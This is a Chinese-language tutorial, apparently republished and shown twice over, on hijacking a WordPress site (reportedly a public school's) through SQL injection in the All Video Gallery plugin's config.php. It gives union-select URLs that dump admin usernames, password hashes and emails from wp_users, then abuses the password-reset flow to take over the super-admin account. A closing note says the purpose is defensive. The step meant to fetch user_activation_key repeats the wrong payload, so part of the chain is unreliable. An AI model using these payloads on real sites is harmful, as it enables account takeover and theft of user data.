1.如何利用SQL注入漏洞攻破一个WordPress网站
SQL注入的基本原理 sql注入成因主要是对页面参数没有进行非法字符校验导致,比如说一个订单页面要显示某个客户的所有订单列表,这个页面的地址可能是/list.php?customID=3,我们推理,这样页面的后台处理的sql应该是这样的:select * form custom_order where custom_id = {$_GET['customID']} 按正常情况下,这里的接收的参数{$_GET['customID']}的值应该是传入的值3,这样页面就能正确的把所有客户ID等于3的订单信息显示到页面上。
但是,如果这个参数被人恶意改成了如下形式:/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin 按这样的参数拼装成的sql就成了这样:select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin 这样注入恶意sql后,订单列表页显示的就不是订单信息了,而是数据库中用户的名称和密码,或者任意其它想要的信息。下面我们就按照这个原理来一步一步的获取这个公立学校网站的管理员用户名,管理员邮箱地址,通过邮箱重置管理员密码,登录超级管理员后台。
All Video Gallery插件的漏洞简介 安装了All Video Gallery插件的Wordpress博客里会有这样的一个地址:/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11 访问这个页面会显示一些配置信息,问题就出在pid这个参数上,程序后台显然没有严格检查这个参数,我们将利用这个参数进行sql注入。WordPress是一个开源的平台,我们很容易弄清楚用户表的表名是wp_users,存放用户名,密码,邮件地址的字段分别是user_login,user_pass,user_email,我们下面将要把用户信息表注入进去。
获取超级管理员用户名 为了获取用户表中的用户名,我们注入的sql是这样的:/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users 在浏览器里输入上面的地址,页面上会显示下面的信息:获取超级管理员邮件地址 我们可以直接获取用户的密码,但很显然,密码都是加密的,无法使用,我们这里使用另外一种思路,先获取用户的邮件地址,然后使用这个邮件重置用户的密码。要获取邮件地址,我们需要将上面的sql中的字段名改成user_email:/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users 在浏览器里输入上面的地址,页面上会显示下面的信息:重置管理员密码 WordPress的后台登陆地址是/wp-login.php,这个地址是可以公共访问的,我们进入这个页面后,点击Lost your password?链接,输入上面获取的管理员邮件。
这样做了之后,Wordpress会向这个邮件地址发送一封含有激活码的密码重置地址。我们无法登陆这个邮箱获取这个地址,但我们可以使用上面同样 的方法获取这个激活码,自己拼装出密码重置地址。
存放激活码的字段是user_activation_key,我们的sql注入地址改成下面这样:/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users 在浏览器里输入上面的地址,页面上会显示下面的信息:有了激活码,我们就可以拼装出装置密码的地址了:/wp-login.php?action=rp&key=resetkey&login=username 利用这个地址进入重置密码页面:总结 我们的黑客行动到此基本上是大功告成,但事实上我并没有去执行最后一步。本文的目的不是要告诉人们如何进行黑客攻击,而是要提醒大家防范安全漏洞,所谓知己知彼,方能百战不殆,程序员应当对基本的黑客攻击方式有一些了解,针对性的在编程时避免造成类似sql注入的安全漏洞,构筑更健壮的软件。
2.如何利用SQL注入漏洞攻破一个WordPress网站
SQL注入的基本原理sql注入成因主要是对页面参数没有进行非法字符校验导致,比如说一个订单页面要显示某个客户的所有订单列表,这个页面的地址可能是/list.php?customID=3,我们推理,这样页面的后台处理的sql应该是这样的:select * form custom_order where custom_id = {$_GET['customID']}按正常情况下,这里的接收的参数{$_GET['customID']}的值应该是传入的值3,这样页面就能正确的把所有客户ID等于3的订单信息显示到页面上。
但是,如果这个参数被人恶意改成了如下形式:/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin按这样的参数拼装成的sql就成了这样:select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin这样注入恶意sql后,订单列表页显示的就不是订单信息了,而是数据库中用户的名称和密码,或者任意其它想要的信息。下面我们就按照这个原理来一步一步的获取这个公立学校网站的管理员用户名,管理员邮箱地址,通过邮箱重置管理员密码,登录超级管理员后台。
All Video Gallery插件的漏洞简介安装了All Video Gallery插件的Wordpress博客里会有这样的一个地址:/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11访问这个页面会显示一些配置信息,问题就出在pid这个参数上,程序后台显然没有严格检查这个参数,我们将利用这个参数进行sql注入。WordPress是一个开源的平台,我们很容易弄清楚用户表的表名是wp_users,存放用户名,密码,邮件地址的字段分别是user_login,user_pass,user_email,我们下面将要把用户信息表注入进去。
获取超级管理员用户名为了获取用户表中的用户名,我们注入的sql是这样的:/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users在浏览器里输入上面的地址,页面上会显示下面的信息:获取超级管理员邮件地址我们可以直接获取用户的密码,但很显然,密码都是加密的,无法使用,我们这里使用另外一种思路,先获取用户的邮件地址,然后使用这个邮件重置用户的密码。要获取邮件地址,我们需要将上面的sql中的字段名改成user_email:/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users在浏览器里输入上面的地址,页面上会显示下面的信息:重置管理员密码WordPress的后台登陆地址是/wp-login.php,这个地址是可以公共访问的,我们进入这个页面后,点击Lost your password?链接,输入上面获取的管理员邮件。
这样做了之后,Wordpress会向这个邮件地址发送一封含有激活码的密码重置地址。我们无法登陆这个邮箱获取这个地址,但我们可以使用上面同样的方法获取这个激活码,自己拼装出密码重置地址。
存放激活码的字段是user_activation_key,我们的sql注入地址改成下面这样:/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users在浏览器里输入上面的地址,页面上会显示下面的信息:有了激活码,我们就可以拼装出装置密码的地址了:/wp-login.php?action=rp&key=resetkey&login=username利用这个地址进入重置密码页面:总结我们的黑客行动到此基本上是大功告成,但事实上我并没有去执行最后一步。本文的目的不是要告诉人们如何进行黑客攻击,而是要提醒大家防范安全漏洞,所谓知己知彼,方能百战不殆,程序员应当对基本的黑客攻击方式有一些了解,针对性的在编程时避免造成类似sql注入的安全漏洞,构筑更健壮的软件。
转载请注明出处51数据库 » wordpress3.8.1漏洞